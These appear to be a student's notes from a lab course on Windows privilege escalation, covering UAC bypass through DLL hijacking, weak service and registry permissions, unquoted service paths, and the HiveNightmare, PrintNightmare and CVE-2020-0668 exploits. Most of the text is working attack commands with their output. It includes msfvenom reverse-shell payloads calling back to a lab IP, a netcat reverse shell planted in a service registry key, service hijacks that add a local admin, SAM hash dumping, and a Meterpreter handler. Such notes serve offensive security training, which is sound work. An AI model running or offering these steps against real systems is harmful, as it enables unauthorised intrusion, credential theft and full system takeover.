Attacking the OS (UAC, Perms, Kernel, vuln svcs)

User Account Control (UAC) attacks

Feature that enables consent prompt for elevated actions. Applications have integrity levels, programs with high level can perform tasks that can potentially compromise a system.

Enabled = apps + tasks always run under sec context of a non-admin account unless admin explicitly authorizes apps/tasks to have admin level access.

https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works

Admins can use sec policies to configure UAC works specific to their org at local level, using secpol.msc - or configured / pushed to env via GPO (Group policy objects) in AD domain. https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings

DEFAULT 500 RID Administrator account always operates at high mandatory level. With Admin Approval mode (AAM) enabled - new admin accounts will operate at medium mandatory level by default + assigned two separate access tokens upon login.

UAC Group Policy grid

Group Policy Setting Registry Key Default Setting
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Disabled
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Disabled
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Prompt for consent for non-Windows binaries
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Prompt for credentials on the secure desktop
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Enabled (default for home) Disabled (default for enterprise)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Disabled
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Enabled
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Enabled
User Account Control: Switch to the secure desktop when prompting for elevation PromptOnSecureDesktop Enabled
User Account Control: Virtualize file and registry write failures to per-user locations EnableVirtualization Enabled

Source

Confirming UAC is enabled, checking UAC

No cmdline version of gui consent prompt - so bypass UAC require to execute cmds with privileged access token.

Confirming enabled, and level

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5

ConsentPromptBehaviorAdmin value is 0x5 indicating highest UAC level of Always Notify is enabled. Fewer UAC bypasses at this highest level.

Checking windows environment version

[environment]::OSVersion.Version
Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

See: Build version 14393 - Using this page we cross-reference to Windows release 1607: https://en.wikipedia.org/wiki/Windows_10_version_history

UACME Project The UACME project maintains a list of UAC bypasses, including information on the affected Windows build number, the technique used, and if Microsoft has issued a security update to fix it.

there's many trusted binaries Windows allows to auto-elevate, without prompting UAC

Example of UAC bypass

https://egre55.github.io/system-properties-uac-bypass

When attempting to locate a DLL, Windows will use the following search order.

  1. The directory from which the application loaded.
  2. The system directory C:\Windows\System32 for 64-bit systems.
  3. The 16-bit system directory C:\Windows\System (not supported on 64-bit systems)
  4. The Windows directory.
  5. Any directories that are listed in the PATH environment variable.

Examining PATH var

cmd /c echo %PATH% 
[...]
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;

Reveals default folders. WindowsApps folder is within user profile and writable by user. We can potentially bypass UAC in this by using DLL hijacking - placing malicious srrstr.dll DLL in WindowsApps, loaded in an elevated context.

Generate malicious srrstr.dll

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll

--begin py serv

Basic transferring. wget or curl

curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

Start listener.

Executing malicious srrstr.dll by itself - receive shell with normal user rights (UAC enabled) use rundll32.exe to confirm

rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll

(if you run this to test, make sure you kill any instances of rundll32 process before proceeding)

C:\htb> tasklist /svc | findstr "rundll32"
rundll32.exe                  6300 N/A
rundll32.exe                  5360 N/A
rundll32.exe                  7044 N/A

C:\htb> taskkill /PID 7044 /F
SUCCESS: The process with PID 7044 has been terminated.

C:\htb> taskkill /PID 6300 /F
SUCCESS: The process with PID 6300 has been terminated.

C:\htb> taskkill /PID 5360 /F
SUCCESS: The process with PID 5360 has been terminated.

Now, try 32-bit verseion of target binary on target host

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

and we should receive a connection back ![](/img/Pasted image 20250319224258.png)


Weak permissions

Following examples usually less common in major(enterprise), large vendor applications but more common in third party software from smaller vendors, opensource software, and custom applications

Permissive file systems ACLs

SharpUp usage is helpful here to check for service binaries suffering from weak ACLs https://github.com/GhostPack/SharpUp/

.\SharpUp.exe audit 

=== SharpUp: Running Privilege Escalation Checks ===


=== Modifiable Service Binaries ===

  Name             : SecurityService
  DisplayName      : PC Security Management Service
  Description      : Responsible for managing PC security
  State            : Stopped
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"

icacls - Checking permissions and verify vulnerability to see EVERYONE + BUILTIN\Users groups have full perms to the directory - meaning any unpriv sys user can manipulate the directory and its contents

icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Replace service binary

C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService

Weak service permissions

Similar as above - Use SharpUp.exe audit to locate modifiable service binaries

Checking permissions with AccessChk -q (omit banner), -u (suppress errors), -v (verbose), -c (specify name of a Windows service), and -w (show only objects that have write access)

accesschk.exe /accepteula -quvcw WindscribeService
 
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
 
WindscribeService
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS

Confirm your user is not an admin.

Change service binary path

sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

[SC] ChangeServiceConfig SUCCESS

sc stop and sc start service to make binpath cmd executed

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1322 Is another example of the above vulnerability, service accounts able to leverage weak permissions and Update Orchestrator Service UsoSvc and escalate to SYSTEM

Clean-up post-exploit

C:\htb> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"

Unquoted Service Paths

If binary not encapsulated in quotes, windows will atempt to locate a binary in different folders. Example binpath:

C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Order of evaluation:

C:\Program
C:\Program Files
C:\Program Files (x86)\System

Example:

C:\htb> sc qc SystemExplorerHelpService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

If able to place binary in this file location, can be exploited:

It's likely you don't have write perms on above locations however.

Searching for unquoted service paths:

C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Permissive Registry ACLs

Using accesschk:

accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS

<SNIP> 

Above is abusable with powershell Set-ItemProperty to change ImagePath value:

PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

Modifiable Registry Autorun Binary

Using WMIC - Check startup programs. Suppose write perms to registry for given binary, and can overwrite a listed binary. In this case, we can escalate privileges to another user - next time they login.

Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl

https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html

https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2

Above links detail many potential autorun locations on Win systems.


Kernel Exploits

https://msrc.microsoft.com/update-guide/vulnerability Exploit database.

There's many high impact windows vulns and usually when a CVE is released there's a trickledown effect where prior versions are affected

Commonly, boxes are not accessible from outside - Land on a box, forward port to a service like SMB, and leveraging an RCE CVE to escalate privileges.

Some examples covered in Module: MS08-067

SeriousSam walkthrough

CVE-2021-36934 HiveNightmare, aka SeriousSam

icacls to check perms on SAM file

C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Successful exploitation requires presence of one/more shadow copies. Most win10 systems will have System Protection enabled by default which will create period backups + including shadow copy necessary to leverage flaw

Run poc https://github.com/GossiTheDog/HiveNightmare .\HiveNightmare.exe - Places hive files in cwd

Typical secretsdump usage after this to extract hashes

impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

PrintNightmare

CVE-2021-1675/CVE-2021-34527 PrintNightmare SeLoadDriverPrivilege ability to add printer devices. Affects a wide version of winservers and not trivial to fix, hence Nightmare https://github.com/cube0x0/CVE-2021-1675

Check for spooler service:

ls \\localhost\pipe\spoolss

Exec bypass: https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

 Set-ExecutionPolicy Bypass -Scope Process

Import script and add local admin:

Import-Module .\CVE-2021-1675.ps1

Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

Enumerating missing patches

Examining installed updates

PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix

WMI:

 wmic qfe list brief

Reference each KB to Microsoft Update Catalog: https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000808

CVE-2020-0668 Example

Next, let's exploit Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/

https://github.com/RedCursorSecurityConsulting/CVE-2020-0668 Poc: Open within VisStu in a VM. Building solution yields:

CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml
C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files

Generate malicious binary

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

Host with py server, transfer to target.

C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"      

After running the cve poc, icacls shows we have full control over this binary now.

C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          WINLPE-WS02\htb-student:(F)

Thus, we can replace the maintenance service binary with our malicious one. Important point here is to backup the version of the binary BEFORE we ran the CVE POC so we still have a 'good' working version of the binary

Exploit walkthrough involves usage of a metasploit resource script https://docs.rapid7.com/metasploit/resource-scripts/ Basically a way of scripting opening a metasploit listener

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
sudo msfconsole -r handler.rc 

Start the malicious binary:

net start MozillaMaintenance

Metasploit catch:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM